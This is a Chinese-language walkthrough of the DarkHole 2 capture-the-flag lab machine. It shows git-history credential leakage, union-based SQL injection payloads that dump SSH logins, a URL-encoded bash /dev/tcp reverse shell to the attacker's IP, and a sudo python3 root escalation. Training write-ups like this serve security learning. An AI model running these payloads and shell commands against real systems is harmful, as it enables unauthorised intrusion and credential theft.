kali IP地址为192.168.127.139
靶机 IP地址为192.168.127.144
目录
一、信息搜集
1.1、扫描主机口
1.2、 扫描端口
发现开放了 22(ssh)、80(http)端口
1.3、访问端口
访问80(http)端口,发现就是正常页面,点击login,就是下面的页面
1.4、扫描目录
扫描目录,可以发现.git 目录
二、枚举漏洞
2.1、进入目录
接着访问.git 目录:http://192.168.127.144/.git/
http://192.168.127.144/.git/
2.2、使用git-dumper分析git文件
2.2.1、直接用pip3安装
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper
2.2.2、下载 git 文件夹内容:
git-dumper http://192.168.127.144/.git/ backup
2.2.3、切换到backup 文件,查看日志
我们发现有三次提交,可以使用Diff查看提交的区别
2.2.4、获取账号,密码
从上面三次提交,我们可以找到账号:lush@admin.com 密码:321
2.3、进入网页的登陆页面
三、漏洞利用
3.1、SQL注入漏洞的利用
刚刚登陆成功之后,同时可以看到 上方 URL 处 id=1,那么存在sql注入的可能性。
第一步:通过单引号或者and方法测试是否有注入
kobe' 无回显结果。
kobe' and 1=1#正确
证明存在sql注入
第二步:order by 猜解表中列数
http://192.168.127.144/dashboard.php?id=1' order by 7 -- - //报错
http://192.168.127.144/dashboard.php?id=1' order by 6 --- //正常
第三步:测试回显位置
http://192.168.127.144/dashboard.php?id=1' union select 1,2,3,4,5,6 --
第四步:爆破数据库的名字
http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,database(),3,4,5,6 -- -
获取数据库的名字:darkhole_2
第五步:爆破数据库的表名
http://192.168.127.144/dashboard.php?id=-1%27%20union%20select%201,2,3,4,5,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+1
第六步:爆破数据库里面的字段,因为要进入后台,我们选择爆ssh表字段。
http://192.168.127.144/dashboard.php?id=-1%27%20union%20select%201,2,3,4,5,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27ssh%27%20--+
第七步:爆破ssh表里面的数据
http://192.168.127.144/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(user,0x3a,pass) from ssh --+1
第八步:攻破获取账号密码成功
如图所示:得到 ssh 表中的用户和密码:
jehad:fool
当然也可以这样写SQL语句代码:
#爆表名
http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -- -
#爆列名
http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='users'-- -
#爆数据
http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,user,psas,4,5,6 ssh-- -
3.2、SSH 登陆
尝试ssh 登陆,登陆成功
四、提权
4.1、sudo 提权
登陆 jehad 的账号以后,查看当前用户可运行的命令或文件,结果没权限,还要切换其他具有sudo权限的用户继续进行提权
4.2、继续提权
cat /etc/passwd | grep "/bin/bash"
如图所示:具有 /bin/bash 的用户除了 root 外 有: lama, jehad, losy 。
查看 历史命令记录
cat .bash_history
发现本地有9999端口的服务。
查看 socket 统计信息
ss -antp
如图所示: 可以看到 127.0.0.1:9999 端口存在活动。
接着我们执行命令:
curl "http://127.0.0.1:9999/?cmd=id"
可以发现9999端口网站的用户是losy
4.3、获取losy的权限
重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机
ssh jehad@192.168.127.144 -L 9999:localhost:9999
构造连接 kali 的命令
bash -c 'bash -i >& /dev/tcp/192.168.127.139/7777 0>&1'
使用 URL 编码
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261'
使用 nc 监听 6666端口,然后浏览器(也可直接用curl)访问:
http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261%27
curl http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261%27
成功拿到 losy 的权限
查看历史,看看losy的history都做了什么,在history中发现泄露密码等重要信息,以及存在python环境,和一段提权的执行代码
如图所示:在第 88 行 发现了账号密码: losy:gang, 最后只有密码也为: gang。
看到了:password: gang
ssh连接losy用户
4.4、获取root权限
losy是有sudo权限的
sudo -l 查看命令
可以看到python3有root权限,我们直接 sudo 可以执行 python3 切换到 root shell
利用:
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
最终提权成功,查找信息,获取flag
总结:
本次靶机难度:高难度。本靶机涉及git 信息泄露漏洞,SQL 注入漏洞,系统配置漏洞等等
攻击的大体流程:
- 扫描出主机口
- nmap 扫出80端口存在.git目录
- 用两个git信息收集脚本,用git-dumper工具分析git文件。
- 通过git log git diff 查看git 历史提交记录和提交的差异 发现后台登录账号密码
- 进入后台后通过url 处sql注入 注入出 ssh表的账号密码 登录jehad的 ssh
- 通过 jehad的.bash_history 历史命令 发现 9999端口存在命令执行漏洞反弹losy shell成功
- losy 的 .bash_history 历史命令 发现 sudo -l 和密码 gang
- 通过sudo -l 信息 用python3 切换至root shell。